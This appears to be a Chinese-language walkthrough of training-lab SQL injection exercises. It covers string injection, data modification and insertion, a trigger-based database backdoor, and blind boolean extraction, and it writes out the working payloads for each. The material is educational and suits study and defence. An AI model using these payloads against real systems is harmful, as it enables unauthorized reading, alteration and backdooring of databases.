7. Injection Flaws - 2

 

目錄:

I-String SQL Injection

II-Modify Data with SQL Injection

III-Add Data with SQL Injection

IV-Database Backdoors

V-Blind String SQL Injection

 

 

I-String SQL Injection

 

    SQL Injection,是發生於應用程式之資料庫層的安全漏洞。簡而言之,是在輸入的字串之中夾帶SQL指令,在設計不良的程式當中忽略了檢查,那麼這些夾帶進去的指令就會被資料庫伺服器誤認為是正常的SQL指令而執行,因此遭到破壞或是入侵。

 

    SQL Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。

 

──引用自維基百科:

https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6...

 

 

目標:

查看user_data這張表所有人的資料

 

過程:

本題的SQL查詢代碼為

strSQL=SELECT * FROM user_data WHERE last_name = ?

填入答案 'or 1=1--時,將導致原本的SQL字串被填為

strSQL=SELECT * FROM user_data WHERE last_name = ''or 1=1--

--後面就被註解掉了

也就是實際上執行的SQL命令會變成下面這樣的

strSQL = SELECT * FROM user_data

這樣所有的使用者資料都被看到了。

 

 

II-Modify Data with SQL Injection

 

目標:

修改jsmith的salary值

 

過程:

 

輸入:jsmith';update salaries set SALARY='0' where USERID='jsmith';--

 

原理:jsmith後面加';代表結束前一句SQL語法

執行SQL語法update set SALARY='0' where

USERID='jsmith';--

--後面被註解掉,成功修改DATA。

 

 

III-Add Data with SQL Injection

 

目標:

 

在salaries這張表中新增一筆資料



過程:

輸入:jsmith';INSERT INTO salaries (USERID,SALARY) VALUES ('test', 500);--

 

原理同第二題:

執行SQL語法INSERT INTO salaries(USERID,SALARY) VALUES ('test', 500);--

--後面被註解掉,成功增加一筆DATA。

 

 

IV-Database Backdoors

 

    在進入此題之前,先來說說 Trigger (觸發程序) 吧。Trigger 可以說是一個開關,當你對資料表做

Insert、Update、Delete 的時後,就會啟動 Trigger 的開關。

 

    

 

    當 Insert 時,除了將資料新增到資料表中外,在 INSERTED 中,也會保留資料。Delete 時,也會將資料在 Deleted 中保留。Update 的運作,是先將資料表中的資料先刪除再新增,所以在 INSERTED 中,會記錄新資料的記錄,而在 DELETED 會保留舊的記錄。

──引用自:https://www.dotblogs.com.tw/dc690216/archive/2009/09/10/10553.aspx

 

 

目標:

利用trigger的方式植入後門

 

過程:

step1:101';update employee set salary=10000--測試能否植入SQL語法

 

 

step2:101'; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid

成功植入題目要求的trigger後門

 

 

V-Blind String SQL Injection

    Blind String SQL Injection,是當攻擊者執行SQL Injection時,Web Server 沒有傳回任何錯誤或是 SQL 執行成功與否的訊息時,過 “Blind”的方式來猜測,透過 True or False 的邏輯關係,來得知資料庫背後的資訊。因此,有心人士可過 Blind SQL injection 的方式進一步取得資料庫的隱私資料,舉個

例子:

 

If A = 1

    Sleep 1

Else

    Sleep 10

 

    如果a=1的話,就sleep一秒,否則就sleep十秒,因此透過 sleep 的反應時間,間接知道 A的值為何。

套用在 SQL Server 的話,如果我們想得知該 SQL Server 的版本,該 Query 就會變成:

 

Select CASE WHEN substring((select version()),1,1)=5

    THEN        (sleep(1))

ELSE

    (sleep(20)

 

這樣的 SQL Injection 就稱為 “Blind & Time Based SQL injection”。

 ──引用自:http://www.qa-knowhow.com/?p=273

 

 

目標:

猜出pins表中cc_number=4321432143214321  name欄位的值

 

過程:

step1:先輸入101測試,跑出Account number is valid ,得知結果為true,若為false,會跑出

Invalid account number。

 

step2:這邊我們用到JHijack這個工具,它能自動地對網頁做 Blind injection的測試。

輸入:101 and (select ascii(substr(name,1,1)) from pins where cc_number=4321432143214321)=$--

 

這樣整句話就是 true and ? ,所以可以測出後面部分的真假值。

(select ascii(substr(name,1,1)) from pins where cc_number=4321432143214321)=$-- 這句就是將 pins表中

cc_number=4321432143214321 的 name欄位的值使用substr 切割字元再將它轉成ASCII code以便比對,$是JHijack會自動幫我們變成我們要測試的字串

 

 

2-1.切割第一個值的結果

 

2-2.切割第二個值的結果

 

2-3.切割第三個值的結果

 

2-4.切割第四個值的結果

 

step3:最後測出來的字母是 Jill 輸入後就完成這一題了。

 

 

參考資料:

https://www.dotblogs.com.tw/dc690216/archive/2009/09/10/10553.aspx

http://codex.wiki/post/123043-935

http://smartsecguys.blogspot.tw/2011/06/blind-sql-injection-with-regular...

http://www.qa-knowhow.com/?p=273